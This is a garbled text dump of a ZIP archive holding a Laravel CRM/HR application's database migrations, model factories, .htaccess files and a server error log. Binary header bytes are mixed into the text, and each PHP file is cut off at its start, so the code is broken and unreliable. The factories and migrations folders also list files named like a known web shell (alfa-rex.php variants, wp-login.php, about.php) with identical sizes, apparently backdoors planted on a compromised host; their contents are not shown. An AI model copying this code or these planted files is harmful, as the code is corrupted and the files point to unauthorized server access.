$table->foreign(['created_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->unsignedBigInteger('deal_stage_id')->nullable(); $table->unsignedBigInteger('file_id')->nullable(); $table->unsignedBigInteger('task_id')->nullable(); $table->unsignedBigInteger('follow_up_id')->nullable(); $table->unsignedBigInteger('note_id')->nullable(); $table->unsignedBigInteger('proposal_id')->nullable(); $table->unsignedBigInteger('agent_id')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('deal_histories'); } }; PKZ Bmigrations/2023_03_29_090137_create_custom_link_settings_table.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('link_title'); $table->text('url'); $table->string('can_be_viewed_by')->nullable(); $table->enum('status', ['active', 'inactive'])->default('active'); $table->timestamps(); }); $module = Module::where('module_name', 'settings')->first(); $count = Company::withoutGlobalScope(\App\Scopes\ActiveScope::class)->count(); if (!is_null($module) && $count > 0) { $permissionType = [ 'module_id' => $module->id, 'display_name' => 'Manage Custom Link Setting', 'name' => 'manage_custom_link_setting', 'is_custom' => 1, 'allowed_permissions' => Permission::ALL_NONE, ]; $permission = Permission::where('name', $permissionType['name'])->first() ?: new Permission(); $permission->name = $permissionType['name']; $permission->display_name = $permissionType['display_name']; $permission->module_id = $module->id; $permission->is_custom = $permissionType['is_custom']; $permission->allowed_permissions = $permissionType['allowed_permissions']; $permission->save(); $companies = Company::select('id')->get(); foreach($companies as $company){ $role = Role::where('name', 'admin')->where('company_id', $company->id)->first(); $permissionRole = PermissionRole::where('permission_id', $permission->id)->where('role_id', $role->id)->first() ?: new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; $permissionRole->save(); $admins = User::allAdmins($company->id); foreach($admins as $admin) { $userPermission = UserPermission::where('permission_id', $permission->id)->where('user_id', $admin->id)->first() ?: new UserPermission(); $userPermission->user_id = $admin->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; $userPermission->save(); } } } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('custom_link_settings'); } }; PKZr2migrations/2023_03_17_045842_lead_custom_field.phpnu[id)->where('field_name', 'product')->first(); if(is_null($LeadCustomProductForm)){ LeadCustomForm::create([ 'field_display_name' => 'Product', 'field_name' => 'product', 'field_order' => 8, 'field_type' => 'select', 'company_id' => $company->id, ]); } $LeadCustomSourceForm = LeadCustomForm::where('company_id', $company->id)->where('field_name', 'source')->first(); if(is_null($LeadCustomSourceForm)){ LeadCustomForm::create([ 'field_display_name' => 'Source', 'field_name' => 'source', 'field_order' => 9, 'field_type' => 'select', 'company_id' => $company->id, ]); } } } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZujxUmigrations/2024_07_22_114153_add_leave_type_impact_to_employee_leave_quotas_table.phpnu[boolean('leave_type_impact')->default(0)->after('carry_forward_status'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_leave_quotas', function (Blueprint $table) { $table->dropColumn('leave_type_impact'); }); } }; PKZ`D;migrations/2023_02_04_064358_create_lead_products_table.phpnu[id(); $table->unsignedInteger('lead_id')->index('lead_products_lead_id_foreign'); $table->unsignedInteger('product_id')->index('lead_products_product_id_foreign'); $table->foreign(['lead_id'])->references(['id'])->on('leads')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['product_id'])->references(['id'])->on('products')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('lead_products'); } }; PKZ-=Emigrations/2022_11_16_122431_add_contract_note_to_contracts_table.phpnu[text('contract_note')->after('alternate_address')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('contracts', function (Blueprint $table) { $table->dropColumn('contract_note'); }); } }; PKZLS6  Fmigrations/2022_09_07_172743_add_lead_status_column_to_permissions.phpnu[ 0) { $leadModule = Module::firstOrCreate(['module_name' => 'leads']); $allTypePermission = PermissionType::ofType('all')->first(); $perm = Permission::firstOrCreate([ 'name' => 'manage_lead_status', 'display_name' => ucwords(str_replace('_', ' ', 'manage_lead_status')), 'is_custom' => 1, 'module_id' => $leadModule->id, 'allowed_permissions' => Permission::ALL_NONE ]); $admins = RoleUser::join('roles', 'roles.id', '=', 'role_user.role_id') ->where('name', 'admin') ->get(); foreach ($admins as $item) { UserPermission::firstOrCreate( [ 'user_id' => $item->user_id, 'permission_id' => $perm->id, 'permission_type_id' => $allTypePermission->id ?? PermissionType::ALL ] ); } $invoiceModule = Module::where('module_name', 'invoices')->first(); if (!is_null($invoiceModule)) { $allTypePermission = PermissionType::ofType('all')->first(); $perm = Permission::firstOrCreate([ 'name' => 'manage_recurring_invoice', 'display_name' => ucwords(str_replace('_', ' ', 'manage_recurring_invoice')), 'is_custom' => 1, 'module_id' => $invoiceModule->id, 'allowed_permissions' => Permission::ALL_NONE ]); foreach ($admins as $item) { UserPermission::firstOrCreate( [ 'user_id' => $item->user_id, 'permission_id' => $perm->id, 'permission_type_id' => $allTypePermission->id ?? PermissionType::ALL ] ); } } } } /** * Reverse the migrations. * * @return void */ public function down() { } }; PKZ?4BB:migrations/2023_11_23_065925_alter_sign_date_contracts.phpnu[dateTime('sign_date')->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('contracts', function (Blueprint $table) { // }); } }; PKZ;Pϰ;migrations/2023_11_27_081917_add_email_verified_setting.phpnu[boolean('email_verified')->default(false)->after('mail_encryption'); }); $smtpSettings = \App\Models\SmtpSetting::first(); if ($smtpSettings) { $smtpSettings->email_verified = env('MAIL_FROM_VERIFIED_EMAIL', false); $smtpSettings->save(); } } /** * Reverse the migrations. */ public function down(): void { Schema::whenTableHasColumn('smtp_settings', 'email_verified', function (Blueprint $table) { $table->dropColumn('email_verified'); }); } }; PKZ6migrations/2024_11_05_051148_image_offline_payment.phpnu[string('image')->nullable()->after('name'); }); Schema::table('invoice_payment_details', function (Blueprint $table) { $table->string('image')->nullable()->after('title'); }); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ˙Hmigrations/2023_05_31_052844_add_user_chat_id_in_mention_users_table.phpnu[integer('user_chat_id')->unsigned()->nullable()->after('event_id'); $table->foreign('user_chat_id')->references('id')->on('users_chat') ->onDelete('cascade') ->onUpdate('cascade'); }); DB::statement("ALTER TABLE file_storage CHANGE COLUMN storage_location storage_location ENUM('local', 'aws_s3', 'digitalocean', 'wasabi', 'minio') NOT NULL DEFAULT 'local'"); } /** * Reverse the migrations. */ public function down(): void { Schema::table('mention_users', function (Blueprint $table) { // }); } }; PKZZKKSmigrations/2024_07_01_115253_add_estimate_request_permission_and_request_number.phpnu[ 'estimates']); $permissions = [ [ 'module_id' => $module->id, 'name' => 'add_estimate_request', 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1 ], [ 'module_id' => $module->id, 'name' => 'view_estimate_request', 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1 ], [ 'module_id' => $module->id, 'name' => 'edit_estimate_request', 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1 ], [ 'module_id' => $module->id, 'name' => 'delete_estimate_request', 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1 ], [ 'module_id' => $module->id, 'name' => 'reject_estimate_request', 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1 ], ]; foreach ($permissions as $permissionData) { $permission = Permission::updateOrCreate( [ 'name' => $permissionData['name'], 'module_id' => $permissionData['module_id'], ], [ 'display_name' => ucwords(str_replace('_', ' ', $permissionData['name'])), 'is_custom' => $permissionData['is_custom'], 'allowed_permissions' => $permissionData['allowed_permissions'], ] ); $companies = Company::all(); foreach ($companies as $company) { $role = Role::where('name', 'admin') ->where('company_id', $company->id) ->first(); if ($role) { $permissionRole = PermissionRole::where('permission_id', $permission->id) ->where('role_id', $role->id) ->first(); $permissionRole = $permissionRole ?: new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; // All $permissionRole->save(); } } $adminUsers = User::allAdmins(); foreach ($adminUsers as $adminUser) { $userPermission = UserPermission::where('user_id', $adminUser->id)->where('permission_id', $permission->id)->first() ?: new UserPermission(); $userPermission->user_id = $adminUser->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; // All $userPermission->save(); } } if (!Schema::hasColumn('estimate_requests', 'estimate_request_number')) { Schema::table('estimate_requests', function ($table) { $table->string('estimate_request_number')->nullable()->after('id'); }); } if (!Schema::hasColumn('estimate_requests', 'original_request_number')) { Schema::table('estimate_requests', function ($table) { $table->string('original_request_number')->nullable()->after('id'); }); } if (!Schema::hasColumn('estimate_requests', 'added_by')) { Schema::table('estimate_requests', function ($table) { $table->unsignedInteger('added_by')->nullable(); $table->foreign('added_by')->references('id')->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); }); } if (!Schema::hasColumn('estimates', 'estimate_request_id')) { Schema::table('estimates', function ($table) { $table->bigInteger('estimate_request_id')->unsigned()->nullable(); $table->foreign('estimate_request_id')->references('id')->on('estimate_requests')->onDelete('cascade')->onUpdate('cascade'); }); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ.Ҥ4migrations/2023_05_16_085400_remove_translations.phpnu[integer('allow_max_no_of_files')->after('allowed_file_size')->default(10); }); cache()->forget('global_settings'); Artisan::call('translations:reset'); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZTlvv:migrations/2022_08_22_104028_knowledge_heading_missing.phpnu[string('heading')->after('id'); }); } } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZ*Fmigrations/2023_01_23_122023_add_column_in_invoice_recurring_table.phpnu[boolean('immediate_invoice')->default(false); $table->date('next_invoice_date')->nullable()->after('issue_date'); }); } if (!Schema::hasColumn('expenses_recurring', 'issue_date')) { Schema::table('expenses_recurring', function (Blueprint $table) { $table->date('issue_date')->after('billing_cycle'); $table->boolean('immediate_expense')->default(false)->after('purchase_from'); $table->date('next_expense_date')->nullable()->after('issue_date'); }); } $module = Module::where('module_name', 'invoices')->first(); if ($module) { Permission::where('name', 'manage_recurring_invoice')->update(['module_id' => $module->id]); } $recurringInvoices = RecurringInvoice::with(['recurrings'])->where('status', 'active')->get(); foreach ($recurringInvoices as $recurring) { $totalExistingCount = $recurring->recurrings->count(); if ($recurring->unlimited_recurring == 1 || ($totalExistingCount < $recurring->billing_cycle)) { continue; } try { if (is_null($recurring->issue_date)) { continue; } } catch (\Exception $exception) { echo $exception->getMessage(); } $this->saveNextInvoiceDate($recurring, 'invoice'); } $recurringExpenses = ExpenseRecurring::with(['recurrings'])->where('status', 'active')->get(); foreach ($recurringExpenses as $recurring) { if (!$recurring->recurrings) { return false; } $expense = $recurring->recurrings->first(); try { $recurring->update(['issue_date' => $expense->purchase_date]); } catch (\Exception $exception) { echo $exception->getMessage(); } $totalExistingCount = $recurring->recurrings->count(); if ($recurring->unlimited_recurring == 1 || ($totalExistingCount < $recurring->billing_cycle)) { continue; } $this->saveNextInvoiceDate($recurring, 'expense'); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('invoice_recurring', function (Blueprint $table) { $table->dropColumn('immediate_invoice'); $table->dropColumn('next_invoice_date'); }); Schema::table('expenses_recurring', function (Blueprint $table) { $table->dropColumn('issue_date'); $table->dropColumn('immediate_expense'); $table->dropColumn('next_expense_date'); }); } private function saveNextInvoiceDate($recurring, $type) { if (!$recurring->recurrings) { return false; } $issueDate = $recurring->recurrings->last(); if ($type == 'invoice') { $date = $issueDate->issue_date ?? now(); } else { $date = $issueDate->purchase_date; } $days = match ($recurring->rotation) { 'daily' => $date->addDay(), 'weekly' => $date->addWeek(), 'bi-weekly' => $date->addWeeks(2), 'monthly' => $date->addMonth(), 'quarterly' => $date->addQuarter(), 'half-yearly' => $date->addMonths(6), 'annually' => $date->addYear(), default => $date->addDay(), }; if ($type == 'invoice') { $recurring->next_invoice_date = $days->format('Y-m-d'); } else { $recurring->next_expense_date = $days->format('Y-m-d'); } $recurring->saveQuietly(); } }; PKZ}bb@migrations/2025_01_10_214004_fix_shift_null_time_in_schedule.phpnu[whereDate('date', '>=', now()->toDateString()); $getShiftSchedule->chunk(100, function ($getShiftSchedule) { foreach ($getShiftSchedule as $shiftSchedule) { $shiftSchedule->shift_start_time = $shiftSchedule->date->toDateString() . ' ' . $shiftSchedule->shift->office_start_time; if (Carbon::parse($shiftSchedule->shift->office_start_time)->gt(Carbon::parse($shiftSchedule->shift->office_end_time))) { $shiftSchedule->shift_end_time = $shiftSchedule->date->addDay()->toDateString() . ' ' . $shiftSchedule->shift->office_end_time; } else { $shiftSchedule->shift_end_time = $shiftSchedule->date->toDateString() . ' ' . $shiftSchedule->shift->office_end_time; } $shiftSchedule->saveQuietly(); } }); } /** * Reverse the migrations. */ public function down(): void { } }; PKZGAk}|-|-migrations/about.php7nu[PKZ0vk;migrations/2025_02_11_095704_cleanup_deleted_event_data.phpnu[toArray(); $folder = EventFile::FILE_PATH; $folderPath = public_path(Files::UPLOAD_FOLDER . '/' . $folder); if (File::exists($folderPath)) { $eventFolders = File::directories($folderPath); foreach ($eventFolders as $eventFolder) { $eventId = basename($eventFolder); if (!in_array($eventId, $eventIds)) { File::deleteDirectory($eventFolder); } } } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZըK||<migrations/2024_06_20_044837_add_column_in_holiday_table.phpnu[enum('notification_sent', ['yes', 'no'])->default('no'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('holidays', function (Blueprint $table) { $table->dropColumn('notification_sent'); }); } }; PKZ(2Hmigrations/2024_08_27_093025_add_over_utilization_column_leave_types.phpnu[enum('over_utilization', ['not_allowed', 'allow_paid', 'allow_unpaid'])->default('not_allowed'); }); Schema::table('leaves', function (Blueprint $table) { $table->boolean('over_utilized')->default(0); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('leaves', function (Blueprint $table) { $table->dropColumn('over_utilized'); }); Schema::table('leave_types', function (Blueprint $table) { $table->dropColumn(['over_utilization']); }); } }; PKZKFmigrations/2023_03_24_073030_add_payment_columns_in_invoices_table.phpnu[enum('payment_status', [1, 0])->default(0)->after('custom_invoice_number'); $table->unsignedInteger('offline_method_id')->nullable()->index('payments_offline_method_id_foreign')->after('payment_status'); $table->foreign(['offline_method_id'])->references(['id'])->on('offline_payment_methods')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->string('transaction_id')->nullable()->unique()->after('offline_method_id'); $table->string('gateway')->nullable()->after('transaction_id'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('invoices', function (Blueprint $table) { $table->dropForeign(['offline_method_id']); $table->dropColumn(['payment_status', 'offline_method_id', 'transaction_id', 'gateway']); }); } }; PKZ?u9migrations/2024_09_13_060425_add_promotion_permission.phpnu[first(); if($module){ $permissions = [ [ 'module_id' => $module->id, 'name' => 'view_increment_promotion', 'display_name' => 'View Increment Promotion', 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1 ], [ 'module_id' => $module->id, 'name' => 'manage_increment_promotion', 'display_name' => 'Manage Increment Promotion', 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1 ] ]; $companies = Company::select('id')->get(); foreach ($permissions as $permissionData) { $permission = Permission::updateOrCreate( [ 'name' => $permissionData['name'], 'module_id' => $permissionData['module_id'], 'display_name' => $permissionData['display_name'], 'is_custom' => $permissionData['is_custom'], 'allowed_permissions' => $permissionData['allowed_permissions'], ] ); foreach ($companies as $company) { $role = Role::where('name', 'admin') ->where('company_id', $company->id) ->first(); if ($role) { $permissionRole = PermissionRole::where('permission_id', $permission->id) ->where('role_id', $role->id) ->first(); $permissionRole = $permissionRole ?: new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; // All $permissionRole->save(); } } $adminUsers = User::allAdmins(); foreach ($adminUsers as $adminUser) { $userPermission = UserPermission::where('user_id', $adminUser->id)->where('permission_id', $permission->id)->first() ?: new UserPermission(); $userPermission->user_id = $adminUser->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; // All $userPermission->save(); } } } } /** * Reverse the migrations. */ public function down(): void { $module = Module::where('module_name', 'employees')->first(); if (!is_null($module)) { $permissions = ['view_increment_promotion', 'manage_increment_promotion']; foreach ($permissions as $permissionName) { $permission = Permission::where('name', $permissionName) ->where('module_id', $module->id)->first(); if ($permission) { PermissionRole::where('permission_id', $permission->id) ->where('permission_type_id', 4)->delete(); UserPermission::where('permission_id', $permission->id) ->where('permission_type_id', 4)->delete(); $permission->delete(); } } } } }; PKZӑX^^5migrations/2024_03_05_213519_update_users_headers.phpnu[whereNotNull('headers')->update(['headers' => null]); DB::table('users')->whereNotNull('headers')->update(['headers' => null]); } }; PKZte=migrations/2024_02_02_114946_lead-files_changes_for_deals.phpnu[dropForeign(['lead_id']); }); } catch (\Exception $e) { echo "\nForeign key lead_id does not exist in lead_files\n"; } Schema::table('deal_files', function (Blueprint $table) { $table->renameColumn('lead_id', 'deal_id'); $table->foreign('deal_id')->references('id')->on('deals')->onDelete('cascade')->onUpdate('cascade'); }); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZTT4migrations/2024_03_22_104517_create_qrcode_table.phpnu[id(); $table->enum('qr_enable', ['1', '0'])->default('1'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('qrcode'); } }; PKZ̻ ;migrations/2022_08_18_120924_create_task_settings_table.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->enum('task_category', ['yes', 'no'])->default('yes'); $table->enum('project', ['yes', 'no'])->default('yes'); $table->enum('start_date', ['yes', 'no'])->default('yes'); $table->enum('due_date', ['yes', 'no'])->default('yes'); $table->enum('assigned_to', ['yes', 'no'])->default('yes'); $table->enum('assigned_by', ['yes', 'no'])->default('yes'); $table->enum('description', ['yes', 'no'])->default('yes'); $table->enum('label', ['yes', 'no'])->default('yes'); $table->enum('status', ['yes', 'no'])->default('yes'); $table->enum('priority', ['yes', 'no'])->default('yes'); $table->enum('make_private', ['yes', 'no'])->default('yes'); $table->enum('time_estimate', ['yes', 'no'])->default('yes'); $table->enum('hours_logged', ['yes', 'no'])->default('yes'); $table->enum('custom_fields', ['yes', 'no'])->default('yes'); $table->enum('copy_task_link', ['yes', 'no'])->default('yes'); $table->enum('files', ['yes', 'no'])->default('yes'); $table->enum('sub_task', ['yes', 'no'])->default('yes'); $table->enum('comments', ['yes', 'no'])->default('yes'); $table->enum('time_logs', ['yes', 'no'])->default('yes'); $table->enum('notes', ['yes', 'no'])->default('yes'); $table->enum('history', ['yes', 'no'])->default('yes'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('task_settings'); } }; PKZLLKmigrations/2024_09_11_121116_create_table_invoice_payment_details_table.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('title'); $table->text('payment_details')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('invoice_payment_details'); } }; PKZ7pOmigrations/2024_06_04_113803_add_notification_in_notification_setting_table.phpnu[get(); foreach ($companies as $company) { $settings[] = [ 'send_email' => 'no', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Task Status Changed', 'slug' => 'task-status-updated', ]; } EmailNotificationSetting::insert($settings); } /** * Reverse the migrations. */ public function down(): void { EmailNotificationSetting::where('slug', 'task-status-updated')->delete(); } }; PKZ:+3559migrations/2022_08_03_101616_create_event_files_table.phpnu[increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('event_id')->unsigned(); $table->foreign('event_id') ->references('id') ->on('events') ->onDelete('cascade') ->onUpdate('cascade'); $table->string('filename', 200)->nullable(); $table->string('hashname', 200)->nullable(); $table->string('size', 200)->nullable(); $table->integer('added_by')->unsigned()->nullable(); $table->foreign('added_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->integer('last_updated_by')->unsigned()->nullable(); $table->foreign('last_updated_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->timestamps(); }); if (!Schema::hasColumn('events', 'event_link')) { Schema::table('events', function (Blueprint $table) { $table->string('event_link')->after('remind_type')->nullable(); }); } Schema::table('proposal_templates', function (Blueprint $table) { $table->dropForeign(['lead_id']); $table->dropColumn('lead_id'); $table->dropColumn('note'); $table->dropColumn('calculate_tax'); $table->dropColumn('status'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('event_files'); } }; PKZW(=migrations/2024_04_23_082735_modify_column_in_deals_table.phpnu[unsignedInteger('lead_category_id')->after('user_id')->nullable(); $table->foreign('lead_category_id')->references('id')->on('lead_category')->onDelete('CASCADE')->onUpdate('CASCADE'); }); Schema::table('deals', function (Blueprint $table) { $table->unsignedInteger('category_id')->after('agent_id')->nullable(); $table->foreign('category_id')->references('id')->on('lead_category')->onUpdate('CASCADE')->onDelete('SET NULL'); }); $deals = \App\Models\Deal::get(); foreach ($deals as $deal) { if (!is_null($deal->contact->category) && is_null($deal->category_id)) { $deal->category_id = $deal->contact->category->id; $deal->save(); } } } Schema::table('deals', function (Blueprint $table) { $table->dropForeign(['agent_id']); $table->foreign('agent_id')->references('id')->on('lead_agents')->onDelete('SET NULL')->onUpdate('CASCADE'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('deals', function (Blueprint $table) { // }); } }; PKZ>!!Imigrations/2024_09_12_085411_add_invoice_payment_id_to_invoices_table.phpnu[unsignedBigInteger('invoice_payment_id')->nullable()->after('transaction_id'); $table->foreign('invoice_payment_id')->references('id')->on('invoice_payment_details')->onDelete('cascade')->onUpdate('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('invoices', function (Blueprint $table) { $table->dropColumn('invoice_payment_id'); }); } }; PKZRmigrations/2022_09_16_105720_update_permission_of_client_and_employee_document.phpnu[update([ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5 ]); } /** * Reverse the migrations. * * @return void */ public function down() { // } }; PKZHF:migrations/2024_06_19_110315_upfate_default_shift_time.phpnu[get(); foreach ($companies as $company) { $attendanceSetting = $company->attendanceSetting; if ($attendanceSetting) { EmployeeShift::withoutGlobalScope(ActiveScope::class) ->where('company_id', $company->id) ->where('id', $attendanceSetting->default_employee_shift) ->update(['halfday_mark_time' => '13:00:00']); } else { $employeeShift = EmployeeShift::withoutGlobalScope(ActiveScope::class) ->where('company_id', $company->id) ->first(); if ($employeeShift) { EmployeeShift::withoutGlobalScope(ActiveScope::class) ->where('company_id', $company->id) ->whereNull('halfday_mark_time') ->update(['halfday_mark_time' => '13:00:00']); } } } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ[͟hhImigrations/2022_12_13_112213_add_new_fields_in_employee_details_table.phpnu[date('probation_end_date')->nullable()->after('reporting_to'); $table->date('notice_period_start_date')->nullable()->after('reporting_to'); $table->date('notice_period_end_date')->nullable()->after('reporting_to'); $table->string('marital_status')->nullable()->after('reporting_to'); $table->date('marriage_anniversary_date')->nullable()->after('reporting_to'); $table->string('employment_type')->nullable()->after('reporting_to'); $table->date('internship_end_date')->nullable()->after('reporting_to'); $table->date('contract_end_date')->nullable()->after('reporting_to'); }); $companies = Company::select('id')->get(); foreach ($companies as $company) { $widget = [ [ 'widget_name' => 'notice_period_duration', 'status' => 1, 'company_id' => $company->id, 'dashboard_type' => 'private-dashboard' ], [ 'widget_name' => 'probation_date', 'status' => 1, 'company_id' => $company->id, 'dashboard_type' => 'private-dashboard' ], [ 'widget_name' => 'contract_date', 'status' => 1, 'company_id' => $company->id, 'dashboard_type' => 'private-dashboard' ], [ 'widget_name' => 'internship_date', 'status' => 1, 'company_id' => $company->id, 'dashboard_type' => 'private-dashboard' ] ]; DashboardWidget::insert($widget); } // Remove duplicates from module_settings table \Illuminate\Support\Facades\DB::statement('DELETE t1 FROM module_settings t1 INNER JOIN module_settings t2 WHERE t1.id > t2.id AND t1.type = t2.type AND t1.module_name = t2.module_name AND t1.company_id = t2.company_id;'); Schema::table('attendance_settings', function (Blueprint $table) { $table->boolean('monthly_report')->default(0); $table->string('monthly_report_roles')->nullable(); }); Schema::table('leaves', function (Blueprint $table) { $table->string('unique_id')->nullable()->after('leave_type_id'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('employee_details', function (Blueprint $table) { $table->dropColumn('probation_end_date'); $table->dropColumn('notice_period_start_date'); $table->dropColumn('notice_period_end_date'); $table->dropColumn('marital_status'); $table->dropColumn('marriage_anniversary_date'); $table->dropColumn('employment_type'); $table->dropColumn('internship_end_date'); $table->dropColumn('contract_end_date'); }); Schema::table('leaves', function (Blueprint $table) { $table->dropColumn('unique_id'); }); } }; PKZ]dd .htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZGAk}|-|-factories/alfa-rex.phpnu[PKZ]ddfactories/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZGAk}|-|-factories/alfa-rex.php7nu[PKZP33factories/LeaveFactory.phpnu[ fake()->randomElement(['single']), 'leave_date' => Carbon::parse(fake()->numberBetween(1, now()->month) . '/' . fake()->numberBetween(1, now()->day) . '/' . now()->year)->format('Y-m-d'), 'reason' => fake()->realText(), 'status' => fake()->randomElement(['pending', 'approved', 'rejected']), ]; } } PKZGAk}|-|-factories/alfa-rex.php8nu[PKZGAk}|-|-factories/wp-login.phpnu[PKZsIIfactories/ExpenseFactory.phpnu[ fake()->text(20), 'purchase_date' => fake()->randomElement([fake()->dateTimeThisMonth(), fake()->dateTimeThisYear()]), /** @phpstan-ignore-next-line */ 'purchase_from' => fake()->state, 'price' => fake()->numberBetween(100, 1000), 'status' => fake()->randomElement(['approved', 'pending', 'rejected']), ]; } } PKZ%(sfactories/LeadFactory.phpnu[ fake()->company, 'address' => fake()->address, 'client_name' => fake()->name, 'client_email' => fake()->email, 'mobile' => fake()->randomNumber(8), 'value' => fake()->randomNumber(6), 'note' => fake()->text(), 'next_follow_up' => 'yes', ]; } } PKZGAk}|-|-factories/alfa-rex.php56nu[PKZGAk}|-|-factories/about.phpnu[PKZ2ofactories/error_lognu[[04-Jul-2025 10:07:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:12:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PKZ2factories/UserChatFactory.phpnu[ fake()->realText(200), ]; } } PKZWfffactories/DealFactory.phpnu[ fake()->randomNumber(5), 'name' => fake()->sentence(3), 'note' => fake()->realText(), 'next_follow_up' => 'yes', ]; } } PKZ@hFFfactories/ProjectFactory.phpnu[subMonths(fake()->numberBetween(1, 6)); $projectName = fake()->unique(true)->randomElement($projectArray); /* @phpstan-ignore-line */ return [ 'project_name' => $projectName, 'project_summary' => fake()->paragraph, 'start_date' => $startDate->format('Y-m-d'), 'deadline' => $startDate->addMonths(4)->format('Y-m-d'), 'notes' => fake()->paragraph, 'completion_percent' => fake()->numberBetween(40, 100), 'feedback' => fake()->realText(), 'project_short_code' => substr($this->initials($projectName), 0, 3), 'calculate_task_progress' => 'false', ]; } protected function initials($str): string { $str = preg_replace('/\s+/', ' ', $str); $ret = ''; $array = explode(' ', $str); if (count($array) === 1 || count($array) === 0) { return $this->clean(strtoupper(substr($str, -4))); } foreach ($array as $word) { $ret .= strtoupper($word[0]); } return $this->clean($ret); } protected function clean($string): array|string|null { $string = str_replace(' ', '-', $string); // Replaces all spaces with hyphens. $string = preg_replace('/[^A-Za-z0-9\-]/', '', $string); // Removes special chars. return preg_replace('/-+/', '-', $string); // Replaces multiple hyphens with single one. } } PKZ-hhfactories/ProductFactory.phpnu[ fake()->randomElement($productArray), 'price' => fake()->numberBetween(100, 1000), 'allow_purchase' => 1, 'description' => fake()->paragraph, ]; } } PKZ!factories/AppreciationFactory.phpnu[ fake()->realText(), ]; } } PKZ$factories/ContractFactory.phpnu[ 